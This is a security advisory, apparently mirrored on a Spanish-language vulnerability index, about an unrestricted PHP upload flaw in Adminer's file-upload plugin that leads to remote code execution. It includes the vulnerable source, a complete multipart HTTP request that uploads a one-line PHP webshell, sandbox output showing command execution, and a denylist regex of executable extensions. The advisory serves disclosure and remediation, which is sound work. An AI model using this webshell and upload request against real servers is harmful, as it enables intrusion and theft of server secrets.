GHSA-VCVJ-RWWM-X6G5
AdminerFileUpload Allows PHP File Upload Leading to RCE
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-VCVJ-RWWM-X6G5 divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
## Summary
The shipped `AdminerFileUpload` plugin (`plugins/file-upload.php`) accepts an uploaded file for any column whose name ends in `_path` and writes it to `uploadPath` while preserving the uploader's original extension. The plugin's only filename filter uses the constructor default `extensions = "[a-zA-Z0-9]+"`, which matches `php`, `phtml`, and `phar`. The filter regex `~(\.($this->extensions))?$~` anchors an optional group at end-of-string, so it never rejects a filename; it only strips the extension when a restrictive allowlist is configured. With the default, an authenticated user, including a low-privilege Adminer Editor end-user who is meant to be limited to data manipulation, can upload a PHP webshell. When `uploadPath` is served by the web server as PHP-executable (the plugin's documented use case, where `displayPath` is the public URL prefix used to display the file), this yields remote code execution as the web-server user.
This is an insecure-default and unrestricted-upload issue (CWE-1188, CWE-434). A restrictive `extensions` value is safe, which confirms the default is the defect.
## Technical detail
### Root cause (source-verified @ 5754b32)
// plugins/file-upload.php:18 — default extensions allow any alphanumeric extension
function __construct($uploadPath = "../static/data/", $displayPath = null, $extensions = "[a-zA-Z0-9]+") {
// plugins/file-upload.php:30-43
function processInput($field, $value, $function = "") {
if (preg_match('~(.*)_path$~', $field["field"], $regs)) {
$table = ($_GET["edit"] != "" ? $_GET["edit"] : $_GET["select"]);
$name = $field["field"];
if ($_FILES["fields"]["error"][$name]
|| !preg_match("~(\\.($this->extensions))?\$~", $_FILES["fields"]["name"][$name], $regs2)) {
return false;
}
$filename = (function_exists('random_bytes') ? bin2hex(random_bytes(8)) : uniqid("", true)) . $regs2[0];
if (!move_uploaded_file($_FILES["fields"]["tmp_name"][$name],
$this->uploadPath . Adminer\friendly_url($table) . "/$regs[1]-$filename")) {
return false;
}
return Adminer\q($filename);
}
}Two defects compound:
1. The default allowlist `[a-zA-Z0-9]+` matches executable extensions (`php`, `phtml`, `phar`, mixed-case `pHp`). There is no denylist of executable extensions.
2. The filter regex never blocks. `~(\.($ext))?$~` anchors at `$` with the extension group made optional, so `preg_match` always returns 1. `$regs2[0]` holds the captured `.<ext>` verbatim when it matches the allowlist, and is empty otherwise. The stored filename is `bin2hex(random_bytes(8)) . $regs2[0]`, which preserves the attacker's extension (for example `.php`).
`move_uploaded_file()` writes the file to `uploadPath/<friendly_table>/<col>-<rand>.php`. The randomized basename prevents guessing and overwrite but does nothing about executability. `selectVal()` (lines 46-50) then builds the public link from `displayPath`, disclosing the stored path to the attacker.
Adminer core applies no extension or name sanitization here: the plugin reads `$_FILES` directly and does not pass through the core `get_file()` helper, and no other filter exists in the upload path.
### Why existing controls do not apply
- The line-34 extension check is the only filter and, with the default allowlist, explicitly permits `php`. With a restrictive allowlist such as `jpe?g|png|gif`, the same `shell.php` is stored with no extension, which the web server will not execute. This difference is the proof that the default value is the defect.
- The random filename prevents collision and enumeration only.
- The CSRF token is present, but the attacker is the authenticated user performing the upload, so it is not a cross-site issue.
## Proof of concept
### 1. Filter and stored-name logic (source-faithful replication of lines 34 and 38)
uploaded extensions accepted stored-as
----------------------------------------------------------------------
shell.php [a-zA-Z0-9]+ yes 'RANDOMHEX.php' <- default => executable
shell.phtml [a-zA-Z0-9]+ yes 'RANDOMHEX.phtml'
shell.pHp [a-zA-Z0-9]+ yes 'RANDOMHEX.pHp'
shell.phar [a-zA-Z0-9]+ yes 'RANDOMHEX.phar'
x.php jpe?g|png|gif yes 'RANDOMHEX' <- restrictive => stripped (safe)
x.jpg jpe?g|png|gif yes 'RANDOMHEX.jpg'
noext [a-zA-Z0-9]+ yes 'RANDOMHEX'The optional-group filter returns a match for every filename tested (`shell.php`, `anything`, `...`, `a.b.c.php`), confirming it never rejects.
### 2. Live RCE (executed in sandbox)
The stored file produced by `processInput()` for `shell.php` under the default config (named `file-<rand>.php`) was written to a web-served directory and served exactly as a deployment using `displayPath` would expose it:
GET /data/docs/file-f4fc445958c73114.php?c=id
=> uid=0(root) gid=0(root) groups=0(root)
GET /data/docs/file-f4fc445958c73114.php?c=whoami;uname%20-a
=> root
=> Linux ... x86_64 GNU/LinuxArbitrary command execution as the web-server user is confirmed, not theoretical.
### 3. Live trigger (deployment with the plugin and a web-served `uploadPath`)
POST /?edit=docs&where[id]=1 HTTP/1.1
Host: TARGET
Content-Type: multipart/form-data; boundary=X
--X
Content-Disposition: form-data; name="fields-file_path"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET["c"]); ?>
--X
Content-Disposition: form-data; name="token"
<csrf-token-from-the-edit-form>
--X--Then request the disclosed display URL `GET <displayPath>/docs/file-<rand>.php?c=id`.
### Negative control
Constructing the plugin as `new AdminerFileUpload("/uploads/", null, "jpe?g|png|gif")` stores `shell.php` as an extension-less file, which the web server does not execute. This isolates the default `extensions` value as the cause.
## Impact
- Confirmed primitive: authenticated arbitrary file upload with an attacker-chosen executable extension. When `uploadPath` is web-served and executes PHP (the plugin's intended display setup), this is remote code execution as the web-server user.
- Privilege boundary: an Adminer Editor user limited to data manipulation can reach OS command execution, which is a vertical privilege escalation across the application's primary trust boundary.
- Post-exploitation: code execution exposes application secrets, database credentials, cloud metadata or IAM material, and enables lateral movement.
## Suggested mitigation
Default to a safe allowlist (or an executable-extension denylist) independent of the configurable `extensions`, so a misconfiguration cannot enable code execution by default:
- function __construct($uploadPath = "../static/data/", $displayPath = null, $extensions = "[a-zA-Z0-9]+") {
+ function __construct($uploadPath = "../static/data/", $displayPath = null, $extensions = "jpe?g|png|gif|webp|pdf|txt|csv") {Additionally reject dangerous names explicitly, regardless of the configured allowlist:
$uploaded = $_FILES["fields"]["name"][$name];
if (preg_match('~\.(php\d*|phtml|phar|pht|sh|cgi|pl|py|htaccess)$~i', $uploaded)) {
return false;
}Document that `uploadPath` should sit outside the web root, or be served with script execution disabled.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistvrana/adminer |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/vrana/adminer/security/advisories/GHSA-vcvj-rwwm-x6g5Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
